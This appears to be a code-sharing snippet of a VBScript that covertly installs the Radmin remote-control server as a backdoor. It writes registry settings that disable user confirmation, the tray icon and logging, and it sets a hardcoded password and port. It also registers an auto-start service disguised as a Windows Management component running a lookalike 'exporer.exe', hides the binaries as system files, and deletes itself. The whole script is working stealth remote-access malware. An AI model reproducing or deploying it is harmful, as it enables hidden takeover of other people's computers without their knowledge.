Copy Code code as follows:
On Error Resume Next
Const HKEY_LOCAL_MACHINE = &H80000002
StrComputer = "."
Set StdOut = wscript.stdout
Set oreg=getobject ("winmgmts:{impersonationlevel=impersonate}!\\" &_
StrComputer & "\root\default:StdRegProv")
strKeyPath = "System\radmin"
Oreg.createkey Hkey_local_machine,strkeypath
strKeyPath = "system\radmin\v2.0"
Oreg.createkey Hkey_local_machine,strkeypath
strKeyPath = "System\radmin\v2.0\server"
Oreg.createkey Hkey_local_machine,strkeypath
strKeyPath = "System\radmin\v2.0\server\iplist"
Oreg.createkey Hkey_local_machine,strkeypath
strKeyPath = "System\radmin\v2.0\server\parameters"
Oreg.createkey Hkey_local_machine,strkeypath
Set objregistry = GetObject ("Winmgmts:root\default:stdregprov")
strpath = "System\radmin\v2.0\server\parameters"
Ubinary = Array (0,0,0,0)
return = Objregistry.setbinaryvalue (Hkey_local_machine,strpath, "Askuser", Ubinary)
Ubinary = Array (0,0,0,0)
return = Objregistry.setbinaryvalue (Hkey_local_machine,strpath, "Autoallow", Ubinary)
Ubinary = Array (1,0,0,0)
return = Objregistry.setbinaryvalue (Hkey_local_machine,strpath, "Disabletrayicon", Ubinary)
Ubinary = Array (0,0,0,0)
return = Objregistry.setbinaryvalue (Hkey_local_machine,strpath, "Enableeventlog", Ubinary)
Ubinary = Array (0,0,0,0)
return = Objregistry.setbinaryvalue (Hkey_local_machine,strpath, "Enablelogfile", Ubinary)
Ubinary = Array (0,0,0,0)
return = Objregistry.setbinaryvalue (Hkey_local_machine,strpath, "Filterip", Ubinary)
Ubinary = Array (0,0,0,0)
return = Objregistry.setbinaryvalue (Hkey_local_machine,strpath, "ntauthenabled", Ubinary)
Ubinary = Array (198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)//This converts hexadecimal to decimal data for the registry pass:241241241
return = Objregistry.setbinaryvalue (Hkey_local_machine,strpath, "Parameter", ubinary)//radmin password
Ubinary = Array (5,4,0,0)//PORT: 1029
return = Objregistry.setbinaryvalue (Hkey_local_machine,strpath, "Port", Ubinary)
Ubinary = Array (10,0,0,0)
return = Objregistry.setbinaryvalue (Hkey_local_machine,strpath, "Timeout", Ubinary)
Set oreg=getobject ("winmgmts:{impersonationlevel=impersonate}!\\" &strcomputer & "\root\default:StdRegProv ")
strKeyPath = "System\radmin\v2.0\server\parameters"
strValueName = "LogFilePath"
strvalue = "C:\logfile.txt"
Set Wshshell=createobject ("Wscript.Shell")
A=wshshell.run ("Sc.exe create winmanagehelp binpath=%systemroot%\system32\exporer.exe start= Auto", 0)
Oreg.setstringvalue Hkey_local_machine,strkeypath,strvaluename,strvalue
Set oreg=getobject ("winmgmts:{impersonationlevel=impersonate}!\\" &strcomputer & "\root\default:StdRegProv ")
strKeyPath = "System\controlset001\services\winmanagehelp"
strValueName = "Description"
strvalue = "Windows Media playerwindows Management instrumentation Player Drivers."
Oreg.setstringvalue Hkey_local_machine,strkeypath,strvaluename,strvalue
strValueName = "DisplayName"
strvalue = "Windows Management instrumentation Player Drivers"
Oreg.setstringvalue Hkey_local_machine,strkeypath,strvaluename,strvalue
strValueName = "ImagePath"
strvalue = "C:\windows\system32\exporer.exe/service"
Oreg.setexpandedstringvalue Hkey_local_machine,strkeypath,strvaluename,strvalue
Set Wshshell=createobject ("Wscript.Shell")
A=wshshell.run ("net start Winmanagehelp", 0)
B=wshshell.run ("attrib +r +h +s%systemroot%\system32\exporer.exe", 0)
C=wshshell.run ("attrib +r +h +s%systemroot%\system32\admdll.dll", 0)
D=wshshell.run ("attrib +r +h +s%systemroot%\system32\raddrv.dll", 0)
CreateObject ("Scripting.FileSystemObject"). DeleteFile (wscript.scriptname)/from Delete
The best deletion code is good
CreateObject ("Scripting.FileSystemObject"). DeleteFile (Script.scriptname)
